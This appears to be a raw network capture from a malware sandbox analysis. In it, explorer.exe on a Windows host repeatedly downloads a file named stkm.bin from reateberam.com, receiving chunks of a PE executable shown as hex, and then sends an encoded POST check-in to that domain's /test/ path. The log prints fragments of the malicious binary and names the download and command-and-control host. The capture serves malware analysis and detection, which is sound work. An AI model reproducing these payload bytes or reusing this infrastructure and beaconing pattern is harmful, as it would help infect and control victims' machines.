2024-12-02 17:44:56 UTC	421	IN	Data Raw: 4d 5a 45 52 e8 00 00 00 00 59 48 83 e9 09 48 8b c1 48 05 00 10 0d 00 ff d0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 09 96 98 3e 4d f7 f6 6d 4d f7 f6 6d 4d f7 f6 6d f9 6b 07 6d 4a f7 f6 6d f9 6b 05 6d d6 f7 f6 6d f9 6b 04 6d 42 f7 f6 6d e0 a9 f5 6c 4a f7 f6 6d e0 a9 f3 6c 51 f7 f6 6d e0 a9 f2 6c 5c f7 f6 6d 44 8f 75 6d 4c f7 f6 6d 44 8f 71 6d 4c f7 f6 6d 44 8f 65 6d 42 f7 f6 6d 4d f7 f7 6d ff f7 f6 6d f8 a9 fe 6c 5b f7 f6 6d f8 a9 09 6d 4c f7 f6 6d f8 a9 f4 6c 4c f7 f6 6d 52 69 63 68 4d f7 f6 Data Ascii: MZERYHHH!L!This program cannot be run in DOS mode.$>MmMmMmkmJmkmmkmBmlJmlQml\mDumLmDqmLmDemBmMmml[mmLmlLmRichM
2024-12-02 17:44:56 UTC	1369	IN	Data Raw: 01 00 00 00 70 0c 00 20 5b 00 00 00 00 00 00 00 00 00 00 00 f0 0c 00 70 10 00 00 d0 b8 0b 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 b9 0b 00 94 00 00 00 00 00 00 00 00 00 00 00 00 50 0a 00 68 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 30 0a 00 00 10 00 00 00 30 0a 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 62 73 73 00 00 00 00 00 00 10 00 00 00 40 0a 00 00 10 00 00 00 40 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 64 61 74 61 00 00 00 c0 01 00 00 50 0a 00 00 c0 01 00 00 50 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 60 00 00 00 10 0c 00 00 60 00 00 00 10 0c 00 00 00 00 00 Data Ascii: p [p8Ph.text00 `bss@@.rdataPP@@.data``
2024-12-02 17:44:56 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-12-02 17:44:56 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-12-02 17:44:56 UTC	1369	IN	Data Raw: 24 20 74 09 ff c2 66 39 4c 54 20 75 f7 48 8d 4c 24 20 e8 cd 13 00 00 eb 02 33 c0 48 81 c4 38 02 00 00 c3 cc 48 89 5c 24 08 48 89 7c 24 10 55 48 8d ac 24 60 fd ff ff 48 81 ec a0 03 00 00 48 8d 0d 7b 4a 0c 00 c7 44 24 20 eb 2f 76 e0 48 8d 05 ac 46 0c 00 48 89 4c 24 28 48 89 44 24 30 48 8d 05 53 46 0c 00 48 89 44 24 48 48 8d 05 4f 46 0c 00 48 89 44 24 60 48 8d 05 4b 46 0c 00 48 89 44 24 78 48 8d 05 d7 46 0c 00 48 89 45 90 48 8d 05 3c 46 0c 00 48 89 45 a8 48 8d 05 39 46 0c 00 48 89 45 c0 48 8d 05 36 46 0c 00 48 89 45 d8 48 8d 05 33 46 0c 00 48 89 45 f0 48 8d 05 30 46 0c 00 48 89 45 08 48 8d 05 2d 46 0c 00 48 89 45 20 48 8d 05 32 46 0c 00 48 89 45 38 48 8d 05 2f 46 0c 00 48 89 45 50 48 8d 05 2c 46 0c 00 48 89 45 68 48 8d 05 29 46 0c 00 48 89 85 80 00 00 00 48 Data Ascii: $ tf9LT uHL$ 3H8H\$H\|$UH$`HH{JD$ /vHFHL$(HD$0HSFHD$HHOFHD$`HKFHD$xHFHEH<FHEH9FHEH6FHEH3FHEH0FHEH-FHE H2FHE8H/FHEPH,FHEhH)FHH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49941	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:44:59 UTC	151	OUT	GET /files/stkm.bin HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Connection: Keep-Alive
2024-12-02 17:44:59 UTC	954	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:44:59 GMT Content-Type: application/octet-stream Content-Length: 857600 Connection: close Content-Disposition: attachment; filename = stkm.bin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 227 Last-Modified: Mon, 02 Dec 2024 17:41:12 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E06d5Hvls%2BlI4GGMQ8661AXvEK%2FQ59XiOx0UdigqO9qMYZLA%2F4lmAKRLeJk51bL4Bq6zrRZ%2F9GXkKd6P%2Bst5H95Z0enLQTMnTyWQBEX6NFTFLaFLx%2F%2F9%2BRMtaHTWm3Ltzg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd20ca8d32de9b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1651&min_rtt=1645&rtt_var=629&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=765&delivery_rate=1723730&cwnd=176&unsent_bytes=0&cid=837781f43966d4a3&ts=1835&x=0"
2024-12-02 17:44:59 UTC	415	IN	Data Raw: 4d 5a 45 52 e8 00 00 00 00 59 48 83 e9 09 48 8b c1 48 05 00 10 0d 00 ff d0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 09 96 98 3e 4d f7 f6 6d 4d f7 f6 6d 4d f7 f6 6d f9 6b 07 6d 4a f7 f6 6d f9 6b 05 6d d6 f7 f6 6d f9 6b 04 6d 42 f7 f6 6d e0 a9 f5 6c 4a f7 f6 6d e0 a9 f3 6c 51 f7 f6 6d e0 a9 f2 6c 5c f7 f6 6d 44 8f 75 6d 4c f7 f6 6d 44 8f 71 6d 4c f7 f6 6d 44 8f 65 6d 42 f7 f6 6d 4d f7 f7 6d ff f7 f6 6d f8 a9 fe 6c 5b f7 f6 6d f8 a9 09 6d 4c f7 f6 6d f8 a9 f4 6c 4c f7 f6 6d 52 69 63 68 4d f7 f6 Data Ascii: MZERYHHH!L!This program cannot be run in DOS mode.$>MmMmMmkmJmkmmkmBmlJmlQml\mDumLmDqmLmDemBmMmml[mmLmlLmRichM
2024-12-02 17:44:59 UTC	1369	IN	Data Raw: 00 00 e0 0c 00 e0 01 00 00 00 70 0c 00 20 5b 00 00 00 00 00 00 00 00 00 00 00 f0 0c 00 70 10 00 00 d0 b8 0b 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 b9 0b 00 94 00 00 00 00 00 00 00 00 00 00 00 00 50 0a 00 68 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 30 0a 00 00 10 00 00 00 30 0a 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 62 73 73 00 00 00 00 00 00 10 00 00 00 40 0a 00 00 10 00 00 00 40 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 64 61 74 61 00 00 00 c0 01 00 00 50 0a 00 00 c0 01 00 00 50 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 60 00 00 00 10 0c 00 00 60 00 00 00 10 Data Ascii: p [p8Ph.text00 `bss@@.rdataPP@@.data``
2024-12-02 17:44:59 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49950	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:02 UTC	127	OUT	GET /files/stkm.bin HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com
2024-12-02 17:45:02 UTC	953	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:02 GMT Content-Type: application/octet-stream Content-Length: 857600 Connection: close Content-Disposition: attachment; filename = stkm.bin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 225 Last-Modified: Mon, 02 Dec 2024 17:41:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4EOlxqxUJpROZ5%2BZCP7WeyhkUkw9rK8PrPrAREA%2Bah%2Bdr%2B7vWaVfm2%2BX6xIMXZ0uMKxe5nvJJ3Zb6Q7CAY%2BQPQEuDoOHjDh3H%2BtkgdsBdAgCTDRm3jmIsRqr6ddkNrVwOQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd20dd2d93a21a-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14171&min_rtt=14161&rtt_var=5318&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=765&delivery_rate=206200&cwnd=32&unsent_bytes=0&cid=6ad9a6dc765e8e77&ts=1708&x=0"
2024-12-02 17:45:02 UTC	416	IN	Data Raw: 4d 5a 45 52 e8 00 00 00 00 59 48 83 e9 09 48 8b c1 48 05 00 10 0d 00 ff d0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 09 96 98 3e 4d f7 f6 6d 4d f7 f6 6d 4d f7 f6 6d f9 6b 07 6d 4a f7 f6 6d f9 6b 05 6d d6 f7 f6 6d f9 6b 04 6d 42 f7 f6 6d e0 a9 f5 6c 4a f7 f6 6d e0 a9 f3 6c 51 f7 f6 6d e0 a9 f2 6c 5c f7 f6 6d 44 8f 75 6d 4c f7 f6 6d 44 8f 71 6d 4c f7 f6 6d 44 8f 65 6d 42 f7 f6 6d 4d f7 f7 6d ff f7 f6 6d f8 a9 fe 6c 5b f7 f6 6d f8 a9 09 6d 4c f7 f6 6d f8 a9 f4 6c 4c f7 f6 6d 52 69 63 68 4d f7 f6 Data Ascii: MZERYHHH!L!This program cannot be run in DOS mode.$>MmMmMmkmJmkmmkmBmlJmlQml\mDumLmDqmLmDemBmMmml[mmLmlLmRichM
2024-12-02 17:45:02 UTC	1369	IN	Data Raw: 00 e0 0c 00 e0 01 00 00 00 70 0c 00 20 5b 00 00 00 00 00 00 00 00 00 00 00 f0 0c 00 70 10 00 00 d0 b8 0b 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 b9 0b 00 94 00 00 00 00 00 00 00 00 00 00 00 00 50 0a 00 68 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 30 0a 00 00 10 00 00 00 30 0a 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 62 73 73 00 00 00 00 00 00 10 00 00 00 40 0a 00 00 10 00 00 00 40 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 64 61 74 61 00 00 00 c0 01 00 00 50 0a 00 00 c0 01 00 00 50 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 60 00 00 00 10 0c 00 00 60 00 00 00 10 0c Data Ascii: p [p8Ph.text00 `bss@@.rdataPP@@.data``
2024-12-02 17:45:02 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-12-02 17:45:02 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-12-02 17:45:02 UTC	1369	IN	Data Raw: 8b d1 66 39 4c 24 20 74 09 ff c2 66 39 4c 54 20 75 f7 48 8d 4c 24 20 e8 cd 13 00 00 eb 02 33 c0 48 81 c4 38 02 00 00 c3 cc 48 89 5c 24 08 48 89 7c 24 10 55 48 8d ac 24 60 fd ff ff 48 81 ec a0 03 00 00 48 8d 0d 7b 4a 0c 00 c7 44 24 20 eb 2f 76 e0 48 8d 05 ac 46 0c 00 48 89 4c 24 28 48 89 44 24 30 48 8d 05 53 46 0c 00 48 89 44 24 48 48 8d 05 4f 46 0c 00 48 89 44 24 60 48 8d 05 4b 46 0c 00 48 89 44 24 78 48 8d 05 d7 46 0c 00 48 89 45 90 48 8d 05 3c 46 0c 00 48 89 45 a8 48 8d 05 39 46 0c 00 48 89 45 c0 48 8d 05 36 46 0c 00 48 89 45 d8 48 8d 05 33 46 0c 00 48 89 45 f0 48 8d 05 30 46 0c 00 48 89 45 08 48 8d 05 2d 46 0c 00 48 89 45 20 48 8d 05 32 46 0c 00 48 89 45 38 48 8d 05 2f 46 0c 00 48 89 45 50 48 8d 05 2c 46 0c 00 48 89 45 68 48 8d 05 29 46 0c 00 48 89 85 Data Ascii: f9L$ tf9LT uHL$ 3H8H\$H\|$UH$`HH{JD$ /vHFHL$(HD$0HSFHD$HHOFHD$`HKFHD$xHFHEH<FHEH9FHEH6FHEH3FHEH0FHEH-FHE H2FHE8H/FHEPH,FHEhH)FH
2024-12-02 17:45:02 UTC	1369	IN	Data Raw: 41 54 41 55 41 56 41 57 48 8d a8 48 fe ff ff 48 81 ec 90 02 00 00 48 8d 05 5f 45 0c 00 c7 44 24 20 3b 64 d2 03 48 89 44 24 28 48 8d 74 24 28 48 8d 05 4e 45 0c 00 c7 44 24 30 7f 27 64 e7 45 33 e4 48 89 44 24 38 45 8b f4 4c 8d 2d f4 bf 0a 00 e8 23 fa ff ff e8 1e fa ff ff 48 89 85 c0 01 00 00 48 85 c0 0f 84 e5 00 00 00 41 8b fc ff c7 66 45 39 64 7d 00 75 f6 41 8b dc 66 44 39 20 74 09 ff c3 66 44 39 24 58 75 f7 8d 14 3b 8d 14 55 02 00 00 00 48 8d 8d c0 01 00 00 e8 1d 0d 00 00 85 c0 0f 84 a8 00 00 00 4c 8b bd c0 01 00 00 8b c3 49 8d 0c 47 03 ff 74 17 49 8b d5 44 8b c7 48 2b d1 8a 04 0a 88 01 48 ff c1 49 83 e8 01 75 f2 33 d2 48 8d 4c 24 40 41 b8 50 02 00 00 49 8b dc e8 c8 59 08 00 48 8d 54 24 40 49 8b cf ff 15 4a 44 0c 00 48 8b f8 48 83 f8 ff 74 4a eb 26 41 8b Data Ascii: ATAUAVAWHHHH_ED$ ;dHD$(Ht$(HNED$0'dE3HD$8EL-#HHAfE9d}uAfD9 tfD9$Xu;UHLIGtIDH+HIu3HL$@APIYHT$@IJDHHtJ&A
2024-12-02 17:45:02 UTC	1369	IN	Data Raw: 95 c8 01 00 00 c7 85 d8 01 00 00 1b c3 53 2b 48 89 95 e0 01 00 00 c7 85 f0 01 00 00 f2 cb 55 df 48 89 95 f8 01 00 00 c7 85 08 02 00 00 4a 47 2d d5 48 89 95 10 02 00 00 c7 85 20 02 00 00 57 12 a2 8a 48 89 95 28 02 00 00 c7 85 38 02 00 00 39 1e f1 72 48 89 95 40 02 00 00 c7 85 50 02 00 00 21 d0 52 45 48 89 95 58 02 00 00 c7 85 68 02 00 00 7a 8e 25 e9 48 89 95 70 02 00 00 c7 85 80 02 00 00 a4 1a 86 d0 48 89 95 88 02 00 00 c7 85 98 02 00 00 14 31 8b 23 48 89 95 a0 02 00 00 c7 85 b0 02 00 00 07 77 19 f5 48 89 95 b8 02 00 00 c7 85 c8 02 00 00 4d 11 46 05 48 89 95 d0 02 00 00 c7 85 e0 02 00 00 02 91 78 2d 48 8d 05 d2 3d 0c 00 48 89 95 e8 02 00 00 48 89 85 f0 02 00 00 48 8d 0d 2d 3f 0c 00 48 8d 05 ae 3d 0c 00 c7 85 f8 02 00 00 df 86 ef 27 48 89 85 08 03 00 00 48 Data Ascii: S+HUHJG-H WH(89rH@P!REHXhz%HpH1#HwHMFHx-H=HHH-?H='HH
2024-12-02 17:45:02 UTC	1369	IN	Data Raw: 00 00 c7 85 40 06 00 00 61 bc 1d 14 48 89 95 48 06 00 00 c7 85 58 06 00 00 cb a6 9c f4 48 89 95 60 06 00 00 c7 85 70 06 00 00 fd 53 ca 1c 48 89 95 78 06 00 00 c7 85 88 06 00 00 8d bf 40 ab 48 89 95 90 06 00 00 c7 85 a0 06 00 00 02 91 d8 59 48 89 95 a8 06 00 00 48 8d 05 1c 3a 0c 00 c7 85 b8 06 00 00 ce d5 eb c9 48 89 85 b0 06 00 00 48 8d 5c 24 28 48 8d 05 07 3a 0c 00 48 89 95 c0 06 00 00 48 89 85 c8 06 00 00 33 ff 48 8d 05 f8 39 0c 00 c7 85 d0 06 00 00 9f 60 3f 3d 48 89 85 e0 06 00 00 48 8d 05 e8 39 0c 00 48 89 85 f8 06 00 00 48 8d 05 ea 39 0c 00 48 89 85 10 07 00 00 48 8d 05 d4 39 0c 00 48 89 85 28 07 00 00 48 89 95 d8 06 00 00 c7 85 e8 06 00 00 9a f6 2b d8 48 89 95 f0 06 00 00 c7 85 00 07 00 00 48 29 27 75 48 89 95 08 07 00 00 c7 85 18 07 00 00 19 9c f3 Data Ascii: @aHHXH`pSHx@HYHH:HH\$(H:HH3H9`?=HH9HH9HH9H(H+HH)'uH
2024-12-02 17:45:02 UTC	1369	IN	Data Raw: 48 85 d2 0f 84 8d 00 00 00 4d 85 c0 0f 84 84 00 00 00 48 8b 41 18 48 39 41 10 72 22 48 03 c0 ba 0f 00 00 00 48 3b c2 48 0f 47 d0 48 81 fa c0 03 00 00 77 62 e8 78 00 00 00 83 f8 ff 74 58 49 83 c8 ff 49 ff c0 42 80 3c 06 00 75 f6 48 8b d6 48 8b cf e8 32 01 00 00 48 85 c0 75 3a 48 8b 6f 10 48 83 ca ff 48 ff c2 80 3c 16 00 75 f7 48 8b ce e8 c4 fe ff ff 48 8b 0f 48 89 04 e9 48 8b 07 48 83 3c e8 00 74 10 48 8b 47 08 4c 89 34 e8 48 ff 47 10 33 c0 eb 03 83 c8 ff 48 8b 6c 24 30 48 8b 74 24 38 48 8b 7c 24 40 48 83 c4 20 41 5e c3 cc cc 48 89 5c 24 08 48 89 6c 24 10 48 89 74 24 18 57 48 83 ec 20 48 83 39 00 48 8b f2 48 8b d9 75 1f 48 83 79 08 00 74 1f 83 c8 ff 48 8b 5c 24 30 48 8b 6c 24 38 48 8b 74 24 40 48 83 c4 20 5f c3 48 83 79 08 00 74 e1 48 85 f6 74 dc 48 8b ee Data Ascii: HMHAH9Ar"HH;HGHwbxtXIIB<uHH2Hu:HoHH<uHHHHH<tHGL4HG3Hl$0Ht$8H\|$@H A^H\$Hl$Ht$WH H9HHuHytH\$0Hl$8Ht$@H _HytHtH
2024-12-02 17:45:02 UTC	1369	IN	Data Raw: 8b c8 48 89 01 eb 1a 84 d2 74 23 80 fa 5c 75 0b 48 ff c0 48 89 01 80 38 00 74 13 48 ff 01 48 8b 01 8a 10 80 fa 22 75 df 48 ff c0 48 89 01 48 8b 11 80 3a 00 75 03 33 c0 c3 49 2b d0 49 8b c9 48 83 ea 02 e9 3c fd ff ff 48 89 5c 24 08 48 89 74 24 10 57 48 83 ec 20 48 8b f2 48 8b f9 48 83 fa 13 76 07 33 c0 e9 6c 01 00 00 48 8b 01 0f be 08 e8 4b 8e 08 00 33 db eb 0e 48 ff 07 48 8b 07 0f be 08 e8 39 8e 08 00 85 c0 75 ee 48 8b 17 80 3a 22 0f 84 06 01 00 00 80 3a 2d 0f 84 f3 00 00 00 80 3a 2f 7e be 80 3a 39 0f 8e e5 00 00 00 80 3a 5b 0f 84 ce 00 00 00 80 3a 66 74 5a 80 3a 6e 74 1b 80 3a 74 74 50 80 3a 7b 75 98 48 8d 56 01 48 8b cf e8 11 01 00 00 e9 fa 00 00 00 41 b8 04 00 00 00 48 8d 0d 1f 0f 0b 00 e8 da 8e 08 00 85 c0 0f 85 dd 00 00 00 48 83 07 04 8d 48 10 e8 3e Data Ascii: Ht#\uHH8tHH"uHHH:u3I+IH<H\$Ht$WH HHHv3lHK3HH9uH:":-:/~:9:[:ftZ:nt:ttP:{uHVHAHHH>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49962	172.67.217.190	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 17:45:06 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: aXLYGobmm+hidViRxTPtzmAYfxODCVLcbPy2vCfMYFSg6m741x7W74yYwzVuV08oc+L33B0vDqTu8/JSvpK54Ytrr38FQTZAvp/2bg1TAFoNUkz67MPOTGTcsGxGZcpO8bgvihL3rbWBQnlm4x64W3ORV5FvWuehdE1VOeWVOCBw+dQZsw== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: reateberam.com Content-Length: 0 Cache-Control: no-cache
2024-12-02 17:45:07 UTC	786	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 17:45:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4WlZXslAAr8Y%2B0Efi8RZ9XIxcMHvm44CFLwcimOHeVTmWTdORONC3tOSsO60UH9j7tck7Wn0f3KBZav2KGQluszd2dhr4l0Zqqjg4hRSEuvPYlP1UItnAH4tORh7poWWGA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebd20f84d254322-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2236&min_rtt=2229&rtt_var=850&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1053&delivery_rate=1277340&cwnd=221&unsent_bytes=0&cid=1f183507da8aab0e&ts=743&x=0"
2024-12-02 17:45:07 UTC	343	IN	Data Raw: 31 35 30 0d 0a 4f 79 53 5a 52 63 71 78 33 59 70 6e 5a 52 33 65 68 57 65 73 7a 6e 35 4e 50 6b 76 57 42 55 36 76 61 2f 61 78 75 69 44 4f 4b 52 69 62 37 78 75 50 6f 41 32 31 6a 34 62 55 69 7a 35 73 4a 55 38 75 65 70 4f 4f 67 6c 63 6c 44 4c 47 32 74 65 30 4e 74 4a 4f 6f 72 4d 77 2f 67 69 52 57 48 57 42 50 37 73 76 73 44 47 6c 31 64 48 45 73 51 51 6e 32 75 59 53 4a 44 43 48 52 71 33 63 4d 4e 4a 6b 63 34 72 38 34 78 55 4b 30 75 2f 43 62 58 32 73 68 6f 41 6d 6c 42 68 76 34 45 73 73 77 42 2b 72 6c 49 6e 4d 59 61 4c 54 48 63 6e 63 6c 71 34 56 46 37 31 48 59 44 68 6b 70 67 55 6b 34 4e 31 4d 4c 4f 63 43 39 65 76 37 37 62 56 65 4d 65 33 36 78 55 58 6e 57 66 67 46 58 66 79 62 6c 32 51 42 68 53 72 63 56 6c 34 2b 56 6e 71 30 44 4d 38 65 5a 76 39 50 65 42 66 4e 53 54 35 Data Ascii: 